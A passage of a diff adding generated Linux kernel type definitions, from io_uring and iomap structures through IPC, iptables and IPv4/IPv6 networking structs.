accept_flags; + __u32 cancel_flags; + __u32 open_flags; + __u32 statx_flags; + __u32 fadvise_advice; + __u32 splice_flags; + __u32 rename_flags; + __u32 unlink_flags; + __u32 hardlink_flags; + __u32 xattr_flags; + __u32 msg_ring_flags; + __u32 uring_cmd_flags; + __u32 waitid_flags; + __u32 futex_flags; + __u32 install_fd_flags; + __u32 nop_flags; + }; + __u64 user_data; + union { + __u16 buf_index; + __u16 buf_group; + }; + __u16 personality; + union { + __s32 splice_fd_in; + __u32 file_index; + __u32 optlen; + struct { + __u16 addr_len; + __u16 __pad3[1]; + }; + }; + union { + struct { + __u64 addr3; + __u64 __pad2[1]; + }; + __u64 optval; + __u8 cmd[0]; + }; +}; + +struct io_uring_sync_cancel_reg { + __u64 addr; + __s32 fd; + __u32 flags; + struct __kernel_timespec timeout; + __u8 opcode; + __u8 pad[7]; + __u64 pad2[3]; +}; + +struct io_wq; + +struct io_uring_task { + int cached_refs; + const struct io_ring_ctx *last; + struct io_wq *io_wq; + struct file *registered_rings[16]; + struct xarray xa; + struct wait_queue_head wait; + atomic_t in_cancel; + atomic_t inflight_tracked; + struct percpu_counter inflight; + long: 64; + long: 64; + long: 64; + long: 64; + struct { + struct llist_head task_list; + struct callback_head task_work; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + }; +}; + +struct io_wait_queue { + struct wait_queue_entry wq; + struct io_ring_ctx *ctx; + unsigned int cq_tail; + unsigned int cq_min_tail; + unsigned int nr_timeouts; + int hit_timeout; + ktime_t min_timeout; + ktime_t timeout; + struct hrtimer t; + ktime_t napi_busy_poll_dt; + bool napi_prefer_busy_poll; +}; + +struct waitid_info { + pid_t pid; + uid_t uid; + int status; + int cause; +}; + +struct io_waitid { + struct file *file; + int which; + pid_t upid; + int options; + atomic_t refs; + struct wait_queue_head *head; + struct siginfo __attribute__((btf_type_tag("user"))) *infop; + struct waitid_info info; +}; + +struct rusage; + +struct wait_opts { + enum pid_type wo_type; + int wo_flags; + struct pid *wo_pid; + struct waitid_info *wo_info; + int wo_stat; + struct rusage *wo_rusage; + wait_queue_entry_t child_wait; + int notask_error; +}; + +struct io_waitid_async { + struct io_kiocb *req; + struct wait_opts wo; +}; + +struct io_worker { + refcount_t ref; + int create_index; + unsigned long flags; + struct hlist_nulls_node nulls_node; + struct list_head all_list; + struct task_struct *task; + struct io_wq *wq; + struct io_wq_work *cur_work; + raw_spinlock_t lock; + struct completion ref_done; + unsigned long create_state; + struct callback_head create_work; + int init_retries; + union { + struct callback_head rcu; + struct work_struct work; + }; +}; + +typedef struct io_wq_work *free_work_fn(struct io_wq_work *); + +typedef void io_wq_work_fn(struct io_wq_work *); + +struct io_wq_acct { + unsigned int nr_workers; + unsigned int max_workers; + int index; + atomic_t nr_running; + raw_spinlock_t lock; + struct io_wq_work_list work_list; + unsigned long flags; +}; + +struct io_wq { + unsigned long state; + free_work_fn *free_work; + io_wq_work_fn *do_work; + struct io_wq_hash *hash; + atomic_t worker_refs; + struct completion worker_done; + struct hlist_node cpuhp_node; + struct task_struct *task; + struct io_wq_acct acct[2]; + raw_spinlock_t lock; + struct hlist_nulls_head free_list; + struct list_head all_list; + struct wait_queue_entry wait; + struct io_wq_work *hash_tail[64]; + cpumask_var_t cpu_mask; +}; + +struct io_wq_data { + struct io_wq_hash *hash; + struct task_struct *task; + io_wq_work_fn *do_work; + free_work_fn *free_work; +}; + +struct io_wq_hash { + refcount_t refs; + unsigned long map; + struct wait_queue_head wait; +}; + +struct xattr_name; + +struct xattr_ctx { + union { + const void __attribute__((btf_type_tag("user"))) *cvalue; + void __attribute__((btf_type_tag("user"))) *value; + }; + void *kvalue; + size_t size; + struct xattr_name *kname; + unsigned int flags; +}; + +struct io_xattr { + struct file *file; + struct xattr_ctx ctx; + struct filename *filename; +}; + +struct ioam6_hdr { + __u8 opt_type; + __u8 opt_len; + char: 8; + __u8 type; +}; + +struct ioam6_schema; + +struct ioam6_namespace { + struct rhash_head head; + struct callback_head rcu; + struct ioam6_schema __attribute__((btf_type_tag("rcu"))) *schema; + __be16 id; + __be32 data; + __be64 data_wide; +}; + +struct ioam6_pernet_data { + struct mutex lock; + struct rhashtable namespaces; + struct rhashtable schemas; +}; + +struct ioam6_schema { + struct rhash_head head; + struct callback_head rcu; + struct ioam6_namespace __attribute__((btf_type_tag("rcu"))) *ns; + u32 id; + int len; + __be32 hdr; + u8 data[0]; +}; + +struct ioam6_trace_hdr { + __be16 namespace_id; + char: 2; + __u8 overflow: 1; + __u8 nodelen: 5; + __u8 remlen: 7; + union { + __be32 type_be32; + struct { + __u32 bit7: 1; + __u32 bit6: 1; + __u32 bit5: 1; + __u32 bit4: 1; + __u32 bit3: 1; + __u32 bit2: 1; + __u32 bit1: 1; + __u32 bit0: 1; + __u32 bit15: 1; + __u32 bit14: 1; + __u32 bit13: 1; + __u32 bit12: 1; + __u32 bit11: 1; + __u32 bit10: 1; + __u32 bit9: 1; + __u32 bit8: 1; + __u32 bit23: 1; + __u32 bit22: 1; + __u32 bit21: 1; + __u32 bit20: 1; + __u32 bit19: 1; + __u32 bit18: 1; + __u32 bit17: 1; + __u32 bit16: 1; + } type; + }; + __u8 data[0]; +}; + +struct mpc_ioapic { + unsigned char type; + unsigned char apicid; + unsigned char apicver; + unsigned char flags; + unsigned int apicaddr; +}; + +struct mp_ioapic_gsi { + u32 gsi_base; + u32 gsi_end; +}; + +struct irq_domain_ops; + +struct ioapic_domain_cfg { + enum ioapic_domain_type type; + const struct irq_domain_ops *ops; + struct device_node *dev; +}; + +struct ioapic { + int nr_registers; + struct IO_APIC_route_entry *saved_registers; + struct mpc_ioapic mp_config; + struct mp_ioapic_gsi gsi_config; + struct ioapic_domain_cfg irqdomain_cfg; + struct irq_domain *irqdomain; + struct resource *iomem_res; +}; + +struct ioapic_alloc_info { + int pin; + int node; + u32 is_level: 1; + u32 active_low: 1; + u32 valid: 1; +}; + +struct ioc_params { + u32 qos[6]; + u64 i_lcoefs[6]; + u64 lcoefs[6]; + u32 too_fast_vrate_pct; + u32 too_slow_vrate_pct; +}; + +struct ioc_margins { + s64 min; + s64 low; + s64 target; +}; + +struct ioc_pcpu_stat; + +struct ioc { + struct rq_qos rqos; + bool enabled; + struct ioc_params params; + struct ioc_margins margins; + u32 period_us; + u32 timer_slack_ns; + u64 vrate_min; + u64 vrate_max; + spinlock_t lock; + struct timer_list timer; + struct list_head active_iocgs; + struct ioc_pcpu_stat __attribute__((btf_type_tag("percpu"))) *pcpu_stat; + enum ioc_running running; + atomic64_t vtime_rate; + u64 vtime_base_rate; + s64 vtime_err; + seqcount_spinlock_t period_seqcount; + u64 period_at; + u64 period_at_vtime; + atomic64_t cur_period; + int busy_level; + bool weights_updated; + atomic_t hweight_gen; + u64 dfgv_period_at; + u64 dfgv_period_rem; + u64 dfgv_usage_us_sum; + u64 autop_too_fast_at; + u64 autop_too_slow_at; + int autop_idx; + bool user_qos_params: 1; + bool user_cost_model: 1; +}; + +struct ioc_cgrp { + struct blkcg_policy_data cpd; + unsigned int dfl_weight; +}; + +struct iocg_stat { + u64 usage_us; + u64 wait_us; + u64 indebt_us; + u64 indelay_us; +}; + +struct iocg_pcpu_stat; + +struct ioc_gq { + struct blkg_policy_data pd; + struct ioc *ioc; + u32 cfg_weight; + u32 weight; + u32 active; + u32 inuse; + u32 last_inuse; + s64 saved_margin; + sector_t cursor; + atomic64_t vtime; + atomic64_t done_vtime; + u64 abs_vdebt; + u64 delay; + u64 delay_at; + atomic64_t active_period; + struct list_head active_list; + u64 child_active_sum; + u64 child_inuse_sum; + u64 child_adjusted_sum; + int hweight_gen; + u32 hweight_active; + u32 hweight_inuse; + u32 hweight_donating; + u32 hweight_after_donation; + struct list_head walk_list; + struct list_head surplus_list; + struct wait_queue_head waitq; + struct hrtimer waitq_timer; + u64 activated_at; + struct iocg_pcpu_stat __attribute__((btf_type_tag("percpu"))) *pcpu_stat; + struct iocg_stat stat; + struct iocg_stat last_stat; + u64 last_stat_abs_vusage; + u64 usage_delta_us; + u64 wait_since; + u64 indebt_since; + u64 indelay_since; + int level; + struct ioc_gq *ancestors[0]; +}; + +struct ioc_missed { + local_t nr_met; + local_t nr_missed; + u32 last_met; + u32 last_missed; +}; + +struct ioc_now { + u64 now_ns; + u64 now; + u64 vnow; +}; + +struct ioc_pcpu_stat { + struct ioc_missed missed[2]; + local64_t rq_wait_ns; + u64 last_rq_wait_ns; +}; + +struct iocb { + __u64 aio_data; + __u32 aio_key; + __kernel_rwf_t aio_rw_flags; + __u16 aio_lio_opcode; + __s16 aio_reqprio; + __u32 aio_fildes; + __u64 aio_buf; + __u64 aio_nbytes; + __s64 aio_offset; + __u64 aio_reserved2; + __u32 aio_flags; + __u32 aio_resfd; +}; + +struct iocg_pcpu_stat { + local64_t abs_vusage; +}; + +struct iocg_wait { + struct wait_queue_entry wait; + struct bio *bio; + u64 abs_cost; + bool committed; +}; + +struct iocg_wake_ctx { + struct ioc_gq *iocg; + u32 hw_inuse; + s64 vbudget; +}; + +struct percentile_stats { + u64 total; + u64 missed; +}; + +struct latency_stat { + union { + struct percentile_stats ps; + struct blk_rq_stat rqs; + }; +}; + +struct rq_wait { + wait_queue_head_t wait; + atomic_t inflight; +}; + +struct iolatency_grp { + struct blkg_policy_data pd; + struct latency_stat __attribute__((btf_type_tag("percpu"))) *stats; + struct latency_stat cur_stat; + struct blk_iolatency *blkiolat; + unsigned int max_depth; + struct rq_wait rq_wait; + atomic64_t window_start; + atomic_t scale_cookie; + u64 min_lat_nsec; + u64 cur_win_nsec; + u64 lat_avg; + u64 nr_samples; + bool ssd; + struct child_latency_info child_lat; +}; + +struct iomap_folio_ops; + +struct iomap { + u64 addr; + loff_t offset; + u64 length; + u16 type; + u16 flags; + struct block_device *bdev; + struct dax_device *dax_dev; + void *inline_data; + void *private; + const struct iomap_folio_ops *folio_ops; + u64 validity_cookie; +}; + +struct iomap_dio_ops; + +struct iomap_dio { + struct kiocb *iocb; + const struct iomap_dio_ops *dops; + loff_t i_size; + loff_t size; + atomic_t ref; + unsigned int flags; + int error; + size_t done_before; + bool wait_for_completion; + union { + struct { + struct iov_iter *iter; + struct task_struct *waiter; + } submit; + struct { + struct work_struct work; + } aio; + }; +}; + +struct iomap_iter; + +struct iomap_dio_ops { + int (*end_io)(struct kiocb *, ssize_t, int, unsigned int); + void (*submit_io)(const struct iomap_iter *, struct bio *, loff_t); + struct bio_set *bio_set; +}; + +struct iomap_folio_ops { + struct folio * (*get_folio)(struct iomap_iter *, loff_t, unsigned int); + void (*put_folio)(struct inode *, loff_t, unsigned int, struct folio *); + bool (*iomap_valid)(struct inode *, const struct iomap *); +}; + +struct iomap_folio_state { + spinlock_t state_lock; + unsigned int read_bytes_pending; + atomic_t write_bytes_pending; + unsigned long state[0]; +}; + +struct iomap_ioend { + struct list_head io_list; + u16 io_type; + u16 io_flags; + struct inode *io_inode; + size_t io_size; + loff_t io_offset; + sector_t io_sector; + struct bio io_bio; +}; + +struct iomap_iter { + struct inode *inode; + loff_t pos; + u64 len; + s64 processed; + unsigned int flags; + struct iomap iomap; + struct iomap srcmap; + void *private; +}; + +struct iomap_ops { + int (*iomap_begin)(struct inode *, loff_t, loff_t, unsigned int, struct iomap *, struct iomap *); + int (*iomap_end)(struct inode *, loff_t, loff_t, ssize_t, unsigned int, struct iomap *); +}; + +struct iomap_readpage_ctx { + struct folio *cur_folio; + bool cur_folio_in_bio; + struct bio *bio; + struct readahead_control *rac; +}; + +struct iomap_swapfile_info { + struct iomap iomap; + struct swap_info_struct *sis; + uint64_t lowest_ppage; + uint64_t highest_ppage; + unsigned long nr_pages; + int nr_extents; + struct file *file; +}; + +struct iomap_writepage_ctx; + +struct iomap_writeback_ops { + int (*map_blocks)(struct iomap_writepage_ctx *, struct inode *, loff_t, unsigned int); + int (*prepare_ioend)(struct iomap_ioend *, int); + void (*discard_folio)(struct folio *, loff_t); +}; + +struct iomap_writepage_ctx { + struct iomap iomap; + struct iomap_ioend *ioend; + const struct iomap_writeback_ops *ops; + u32 nr_folios; +}; + +struct iommu_group {}; + +struct ioprio_blkcg { + struct blkcg_policy_data cpd; + enum prio_policy prio_policy; +}; + +struct ioremap_desc { + unsigned int flags; +}; + +struct ip6_flowlabel { + struct ip6_flowlabel __attribute__((btf_type_tag("rcu"))) *next; + __be32 label; + atomic_t users; + struct in6_addr dst; + struct ipv6_txoptions *opt; + unsigned long linger; + struct callback_head rcu; + u8 share; + union { + struct pid *pid; + kuid_t uid; + } owner; + unsigned long lastuse; + unsigned long expires; + struct net *fl_net; +}; + +struct ip6_frag_state { + u8 *prevhdr; + unsigned int hlen; + unsigned int mtu; + unsigned int left; + int offset; + int ptr; + int hroom; + int troom; + __be32 frag_id; + u8 nexthdr; +}; + +struct ipv6hdr; + +struct ip6_fraglist_iter { + struct ipv6hdr *tmp_hdr; + struct sk_buff *frag; + int offset; + unsigned int hlen; + __be32 frag_id; + u8 nexthdr; +}; + +struct sockaddr_in6 { + unsigned short sin6_family; + __be16 sin6_port; + __be32 sin6_flowinfo; + struct in6_addr sin6_addr; + __u32 sin6_scope_id; +}; + +struct ip6_mtuinfo { + struct sockaddr_in6 ip6m_addr; + __u32 ip6m_mtu; +}; + +struct ip6_ra_chain { + struct ip6_ra_chain *next; + struct sock *sk; + int sel; + void (*destructor)(struct sock *); +}; + +struct ip6_rt_info { + struct in6_addr daddr; + struct in6_addr saddr; + u_int32_t mark; +}; + +struct ip6_sf_list { + struct ip6_sf_list __attribute__((btf_type_tag("rcu"))) *sf_next; + struct in6_addr sf_addr; + unsigned long sf_count[2]; + unsigned char sf_gsresp; + unsigned char sf_oldin; + unsigned char sf_crcount; + struct callback_head rcu; +}; + +struct ip6_sf_socklist { + unsigned int sl_max; + unsigned int sl_count; + struct callback_head rcu; + struct in6_addr sl_addr[0]; +}; + +struct ip_tunnel_encap; + +struct ip6_tnl_encap_ops { + size_t (*encap_hlen)(struct ip_tunnel_encap *); + int (*build_header)(struct sk_buff *, struct ip_tunnel_encap *, u8 *, struct flowi6 *); + int (*err_handler)(struct sk_buff *, struct inet6_skb_parm *, u8, u8, int, __be32); +}; + +struct ip6addrlbl_entry { + struct in6_addr prefix; + int prefixlen; + int ifindex; + int addrtype; + u32 label; + struct hlist_node list; + struct callback_head rcu; +}; + +struct ip6addrlbl_init_table { + const struct in6_addr *prefix; + int prefixlen; + u32 label; +}; + +struct ip6fl_iter_state { + struct seq_net_private p; + struct pid_namespace *pid_ns; + int bucket; +}; + +struct ip6rd_flowi { + struct flowi6 fl6; + struct in6_addr gateway; +}; + +struct ip6t_ip6 { + struct in6_addr src; + struct in6_addr dst; + struct in6_addr smsk; + struct in6_addr dmsk; + char iniface[16]; + char outiface[16]; + unsigned char iniface_mask[16]; + unsigned char outiface_mask[16]; + __u16 proto; + __u8 tos; + __u8 flags; + __u8 invflags; +}; + +struct ip6t_entry { + struct ip6t_ip6 ipv6; + unsigned int nfcache; + __u16 target_offset; + __u16 next_offset; + unsigned int comefrom; + struct xt_counters counters; + unsigned char elems[0]; +}; + +struct ip6t_hl_info { + __u8 mode; + __u8 hop_limit; +}; + +struct ip6t_icmp { + __u8 type; + __u8 code[2]; + __u8 invflags; +}; + +struct ip_auth_hdr { + __u8 nexthdr; + __u8 hdrlen; + __be16 reserved; + __be32 spi; + __be32 seq_no; + __u8 auth_data[0]; +}; + +struct ip_conntrack_stat { + unsigned int found; + unsigned int invalid; + unsigned int insert; + unsigned int insert_failed; + unsigned int clash_resolve; + unsigned int drop; + unsigned int early_drop; + unsigned int error; + unsigned int expect_new; + unsigned int expect_create; + unsigned int expect_delete; + unsigned int search_restart; + unsigned int chaintoolong; +}; + +struct ip_ct_sctp { + enum sctp_conntrack state; + __be32 vtag[2]; + u8 init[2]; + u8 last_dir; + u8 flags; +}; + +struct ip_ct_tcp_state { + u_int32_t td_end; + u_int32_t td_maxend; + u_int32_t td_maxwin; + u_int32_t td_maxack; + u_int8_t td_scale; + u_int8_t flags; +}; + +struct ip_ct_tcp { + struct ip_ct_tcp_state seen[2]; + u_int8_t state; + u_int8_t last_dir; + u_int8_t retrans; + u_int8_t last_index; + u_int32_t last_seq; + u_int32_t last_ack; + u_int32_t last_end; + u_int16_t last_win; + u_int8_t last_wscale; + u_int8_t last_flags; +}; + +struct ip_esp_hdr { + __be32 spi; + __be32 seq_no; + __u8 enc_data[0]; +}; + +struct ip_frag_state { + bool DF; + unsigned int hlen; + unsigned int ll_rs; + unsigned int mtu; + unsigned int left; + int offset; + int ptr; + __be16 not_last_frag; +}; + +struct iphdr; + +struct ip_fraglist_iter { + struct sk_buff *frag; + struct iphdr *iph; + int offset; + unsigned int hlen; +}; + +struct ip_sf_list; + +struct ip_mc_list { + struct in_device *interface; + __be32 multiaddr; + unsigned int sfmode; + struct ip_sf_list *sources; + struct ip_sf_list *tomb; + unsigned long sfcount[2]; + union { + struct ip_mc_list *next; + struct ip_mc_list __attribute__((btf_type_tag("rcu"))) *next_rcu; + }; + struct ip_mc_list __attribute__((btf_type_tag("rcu"))) *next_hash; + struct timer_list timer; + int users; + refcount_t refcnt; + spinlock_t lock; + char tm_running; + char reporter; + char unsolicit_count; + char loaded; + unsigned char gsquery; + unsigned char crcount; + struct callback_head rcu; +}; + +struct ip_mreqn { + struct in_addr imr_multiaddr; + struct in_addr imr_address; + int imr_ifindex; +}; + +struct ip_sf_socklist; + +struct ip_mc_socklist { + struct ip_mc_socklist __attribute__((btf_type_tag("rcu"))) *next_rcu; + struct ip_mreqn multi; + unsigned int sfmode; + struct ip_sf_socklist __attribute__((btf_type_tag("rcu"))) *sflist; + struct callback_head rcu; +}; + +struct ip_mreq_source { + __be32 imr_multiaddr; + __be32 imr_interface; + __be32 imr_sourceaddr; +}; + +struct ip_msfilter { + __be32 imsf_multiaddr; + __be32 imsf_interface; + __u32 imsf_fmode; + __u32 imsf_numsrc; + union { + __be32 imsf_slist[1]; + struct { + struct {} __empty_imsf_slist_flex; + __be32 imsf_slist_flex[0]; + }; + }; +}; + +struct ip_ra_chain { + struct ip_ra_chain __attribute__((btf_type_tag("rcu"))) *next; + struct sock *sk; + union { + void (*destructor)(struct sock *); + struct sock *saved_sk; + }; + struct callback_head rcu; +}; + +struct kvec { + void *iov_base; + size_t iov_len; +}; + +struct ip_reply_arg { + struct kvec iov[1]; + int flags; + __wsum csum; + int csumoffset; + int bound_dev_if; + u8 tos; + kuid_t uid; +}; + +struct ip_rt_info { + __be32 daddr; + __be32 saddr; + u_int8_t tos; + u_int32_t mark; +}; + +struct ip_sf_list { + struct ip_sf_list *sf_next; + unsigned long sf_count[2]; + __be32 sf_inaddr; + unsigned char sf_gsresp; + unsigned char sf_oldin; + unsigned char sf_crcount; +}; + +struct ip_sf_socklist { + unsigned int sl_max; + unsigned int sl_count; + struct callback_head rcu; + __be32 sl_addr[0]; +}; + +struct iphdr { + __u8 ihl: 4; + __u8 version: 4; + __u8 tos; + __be16 tot_len; + __be16 id; + __be16 frag_off; + __u8 ttl; + __u8 protocol; + __sum16 check; + union { + struct { + __be32 saddr; + __be32 daddr; + }; + struct { + __be32 saddr; + __be32 daddr; + } addrs; + }; +}; + +struct ip_tunnel_parm_kern { + char name[16]; + unsigned long i_flags[1]; + unsigned long o_flags[1]; + __be32 i_key; + __be32 o_key; + int link; + struct iphdr iph; +}; + +struct ip_tunnel_encap { + u16 type; + u16 flags; + __be16 sport; + __be16 dport; +}; + +struct ip_tunnel_prl_entry; + +struct ip_tunnel { + struct ip_tunnel __attribute__((btf_type_tag("rcu"))) *next; + struct hlist_node hash_node; + struct net_device *dev; + netdevice_tracker dev_tracker; + struct net *net; + unsigned long err_time; + int err_count; + u32 i_seqno; + atomic_t o_seqno; + int tun_hlen; + u32 index; + u8 erspan_ver; + u8 dir; + u16 hwid; + struct dst_cache dst_cache; + struct ip_tunnel_parm_kern parms; + int mlink; + int encap_hlen; + int hlen; + struct ip_tunnel_encap encap; + struct ip_tunnel_prl_entry __attribute__((btf_type_tag("rcu"))) *prl; + unsigned int prl_count; + unsigned int ip_tnl_net_id; + struct gro_cells gro_cells; + __u32 fwmark; + bool collect_md; + bool ignore_df; +}; + +struct ip_tunnel_encap_ops { + size_t (*encap_hlen)(struct ip_tunnel_encap *); + int (*build_header)(struct sk_buff *, struct ip_tunnel_encap *, u8 *, struct flowi4 *); + int (*err_handler)(struct sk_buff *, u32); +}; + +struct ip_tunnel_key { + __be64 tun_id; + union { + struct { + __be32 src; + __be32 dst; + } ipv4; + struct { + struct in6_addr src; + struct in6_addr dst; + } ipv6; + } u; + unsigned long tun_flags[1]; + __be32 label; + u32 nhid; + u8 tos; + u8 ttl; + __be16 tp_src; + __be16 tp_dst; + __u8 flow_flags; +}; + +struct ip_tunnel_info { + struct ip_tunnel_key key; + struct ip_tunnel_encap encap; + struct dst_cache dst_cache; + u8 options_len; + u8 mode; +}; + +struct rtnl_link_ops; + +struct ip_tunnel_net { + struct net_device *fb_tunnel_dev; + struct rtnl_link_ops *rtnl_link_ops; + struct hlist_head tunnels[128]; + struct ip_tunnel __attribute__((btf_type_tag("rcu"))) *collect_md_tun; + int type; +}; + +struct ip_tunnel_parm { + char name[16]; + int link; + __be16 i_flags; + __be16 o_flags; + __be32 i_key; + __be32 o_key; + struct iphdr iph; +}; + +struct ip_tunnel_prl { + __be32 addr; + __u16 flags; + __u16 __reserved; + __u32 datalen; + __u32 __reserved2; +}; + +struct ip_tunnel_prl_entry { + struct ip_tunnel_prl_entry __attribute__((btf_type_tag("rcu"))) *next; + __be32 addr; + u16 flags; + struct callback_head callback_head; +}; + +struct ipc64_perm { + __kernel_key_t key; + __kernel_uid32_t uid; + __kernel_gid32_t gid; + __kernel_uid32_t cuid; + __kernel_gid32_t cgid; + __kernel_mode_t mode; + unsigned char __pad1[0]; + unsigned short seq; + unsigned short __pad2; + __kernel_ulong_t __unused1; + __kernel_ulong_t __unused2; +}; + +struct ipc_ids { + int in_use; + unsigned short seq; + struct rw_semaphore rwsem; + struct idr ipcs_idr; + int max_idx; + int last_idx; + struct rhashtable key_ht; +}; + +struct ipc_namespace { + struct ipc_ids ids[3]; + int sem_ctls[4]; + int used_sems; + unsigned int msg_ctlmax; + unsigned int msg_ctlmnb; + unsigned int msg_ctlmni; + struct percpu_counter percpu_msg_bytes; + struct percpu_counter percpu_msg_hdrs; + size_t shm_ctlmax; + size_t shm_ctlall; + unsigned long shm_tot; + int shm_ctlmni; + int shm_rmid_forced; + struct notifier_block ipcns_nb; + struct vfsmount *mq_mnt; + unsigned int mq_queues_count; + unsigned int mq_queues_max; + unsigned int mq_msg_max; + unsigned int mq_msgsize_max; + unsigned int mq_msg_default; + unsigned int mq_msgsize_default; + struct ctl_table_set mq_set; + struct ctl_table_header *mq_sysctls; + struct ctl_table_set ipc_set; + struct ctl_table_header *ipc_sysctls; + struct user_namespace *user_ns; + struct ucounts *ucounts; + struct llist_node mnt_llist; + struct ns_common ns; +}; + +struct ipc_params; + +struct kern_ipc_perm; + +struct ipc_ops { + int (*getnew)(struct ipc_namespace *, struct ipc_params *); + int (*associate)(struct kern_ipc_perm *, int); + int (*more_checks)(struct kern_ipc_perm *, struct ipc_params *); +}; + +struct ipc_params { + key_t key; + int flg; + union { + size_t size; + int nsems; + } u; +}; + +struct ipc_perm { + __kernel_key_t key; + __kernel_uid_t uid; + __kernel_gid_t gid; + __kernel_uid_t cuid; + __kernel_gid_t cgid; + __kernel_mode_t mode; + unsigned short seq; +}; + +struct ipc_proc_iface { + const char *path; + const char *header; + int ids; + int (*show)(struct seq_file *, void *); +}; + +struct ipc_proc_iter { + struct ipc_namespace *ns; + struct pid_namespace *pid_ns; + struct ipc_proc_iface *iface; +}; + +struct sockcm_cookie { + u64 transmit_time; + u32 mark; + u32 tsflags; +}; + +struct ipcm6_cookie { + struct sockcm_cookie sockc; + __s16 hlimit; + __s16 tclass; + __u16 gso_size; + __s8 dontfrag; + struct ipv6_txoptions *opt; +}; + +struct ipcm_cookie { + struct sockcm_cookie sockc; + __be32 addr; + int oif; + struct ip_options_rcu *opt; + __u8 protocol; + __u8 ttl; + __s16 tos; + char priority; + __u16 gso_size; +}; + +struct ipfrag_skb_cb { + union { + struct inet_skb_parm h4; + struct inet6_skb_parm h6; + }; + struct sk_buff *next_frag; + int frag_run_len; + int ip_defrag_offset; +}; + +struct ipq { + struct inet_frag_queue q; + u8 ecn; + u16 max_df_size; + int iif; + unsigned int rid; + struct inet_peer *peer; +}; + +struct ipstats_mib { + u64 mibs[38]; + struct u64_stats_sync syncp; +}; + +struct ipt_ip { + struct in_addr src; + struct in_addr dst; + struct in_addr smsk; + struct in_addr dmsk; + char iniface[16]; + char outiface[16]; + unsigned char iniface_mask[16]; + unsigned char outiface_mask[16]; + __u16 proto; + __u8 flags; + __u8 invflags; +}; + +struct ipt_entry { + struct ipt_ip ip; + unsigned int nfcache; + __u16 target_offset; + __u16 next_offset; + unsigned int comefrom; + struct xt_counters counters; + unsigned char elems[0]; +}; + +struct xt_target; + +struct xt_entry_target { + union { + struct { + __u16 target_size; + char name[29]; + __u8 revision; + } user; + struct { + __u16 target_size; + struct xt_target *target; + } kernel; + __u16 target_size; + } u; + unsigned char data[0]; +}; + +struct xt_error_target { + struct xt_entry_target target; + char errorname[30]; +}; + +struct ipt_error { + struct ipt_entry entry; + struct xt_error_target target; +}; + +struct ipt_get_entries { + char name[32]; + unsigned int size; + struct ipt_entry entrytable[0]; +}; + +struct ipt_getinfo { + char name[32]; + unsigned int valid_hooks; + unsigned int hook_entry[5]; + unsigned int underflow[5]; + unsigned int num_entries; + unsigned int size; +}; + +struct ipt_icmp { + __u8 type; + __u8 code[2]; + __u8 invflags; +}; + +struct ipt_reject_info { + enum ipt_reject_with with; +}; + +struct ipt_replace { + char name[32]; + unsigned int valid_hooks; + unsigned int num_entries; + unsigned int size; + unsigned int hook_entry[5]; + unsigned int underflow[5]; + unsigned int num_counters; + struct xt_counters __attribute__((btf_type_tag("user"))) *counters; + struct ipt_entry entries[0]; +}; + +struct xt_standard_target { + struct xt_entry_target target; + int verdict; +}; + +struct ipt_standard { + struct ipt_entry entry; + struct xt_standard_target target; +}; + +struct ipt_ttl_info { + __u8 mode; + __u8 ttl; +}; + +struct iptable_nat_pernet { + struct nf_hook_ops *nf_nat_ops; +}; + +struct ipv6_ac_socklist { + struct in6_addr acl_addr; + int acl_ifindex; + struct ipv6_ac_socklist *acl_next; +}; + +struct udp_table; + +struct ipv6_bpf_stub { + int (*inet6_bind)(struct sock *, struct sockaddr *, int, u32); + struct sock * (*udp6_lib_lookup)(const struct net *, const struct in6_addr *, __be16, const struct in6_addr *, __be16, int, int, struct udp_table *, struct sk_buff *); + int (*ipv6_setsockopt)(struct sock *, int, int, sockptr_t, unsigned int); + int (*ipv6_getsockopt)(struct sock *, int, int, sockptr_t, sockptr_t); + int (*ipv6_dev_get_saddr)(struct net *, const struct net_device *, const struct in6_addr *, unsigned int, struct in6_addr *); +}; + +struct ipv6_fl_socklist { + struct ipv6_fl_socklist __attribute__((btf_type_tag("rcu"))) *next; + struct ip6_flowlabel *fl; + struct callback_head rcu; +}; + +struct ipv6_mc_socklist { + struct in6_addr addr; + int ifindex; + unsigned int sfmode; + struct ipv6_mc_socklist __attribute__((btf_type_tag("rcu"))) *next; + struct ip6_sf_socklist __attribute__((btf_type_tag("rcu"))) *sflist; + struct callback_head rcu; +}; + +struct ipv6_mreq { + struct in6_addr ipv6mr_multiaddr; + int ipv6mr_ifindex; +}; + +struct ipv6_opt_hdr { + __u8 nexthdr; + __u8 hdrlen; +}; + +struct ipv6_params { + __s32 disable_ipv6; + __s32 autoconf; +}; + +struct ipv6_pinfo { + struct in6_addr saddr; + struct in6_pktinfo sticky_pktinfo; + const struct in6_addr *daddr_cache; + __be32 flow_label; + __u32 frag_size; + s16 hop_limit; + u8 mcast_hops; + int ucast_oif; + int mcast_oif; + union { + struct { + __u16 srcrt: 1; + __u16 osrcrt: 1; + __u16 rxinfo: 1; + __u16 rxoinfo: 1; + __u16 rxhlim: 1; + __u16 rxohlim: 1; + __u16 hopopts: 1; + __u16 ohopopts: 1; + __u16 dstopts: 1; + __u16 odstopts: 1; + __u16 rxflow: 1; + __u16 rxtclass: 1; + __u16 rxpmtu: 1; + __u16 rxorigdstaddr: 1; + __u16 recvfragsize: 1; + } bits; + __u16 all; + } rxopt; + __u8 srcprefs; + __u8 pmtudisc; + __u8 min_hopcount; + __u8 tclass; + __be32 rcv_flowinfo; + __u32 dst_cookie; + struct ipv6_mc_socklist __attribute__((btf_type_tag("rcu"))) *ipv6_mc_list; + struct ipv6_ac_socklist *ipv6_ac_list; + struct ipv6_fl_socklist __attribute__((btf_type_tag("rcu"))) *ipv6_fl_list; + struct ipv6_txoptions __attribute__((btf_type_tag("rcu"))) *opt; + struct sk_buff *pktoptions; + struct sk_buff *rxpmtu; + struct inet6_cork cork; +}; + +struct ipv6_route_iter { + struct seq_net_private p; + struct fib6_walker w; + loff_t skip; + struct fib6_table *tbl; + int sernum; +}; + +struct ipv6_rpl_sr_hdr { + __u8 nexthdr; + __u8 hdrlen; + __u8 type; + __u8 segments_left; + __u32 cmpre: 4; + __u32 cmpri: 4; + __u32 reserved: 4; + __u32 pad: 4; + __u32 reserved1: 16; + union { + struct { + struct {} __empty_addr; + struct in6_addr addr[0]; + }; + struct { + struct {} __empty_data; + __u8 data[0]; + }; + } segments; +}; + +struct ipv6_rt_hdr { + __u8 nexthdr; + __u8 hdrlen; + __u8 type; + __u8 segments_left; +}; + +struct ipv6_saddr_dst { + const struct in6_addr *addr; + int ifindex; + int scope; + int label; + unsigned int prefs; +}; + +struct ipv6_saddr_score { + int rule; + int addr_type; + struct 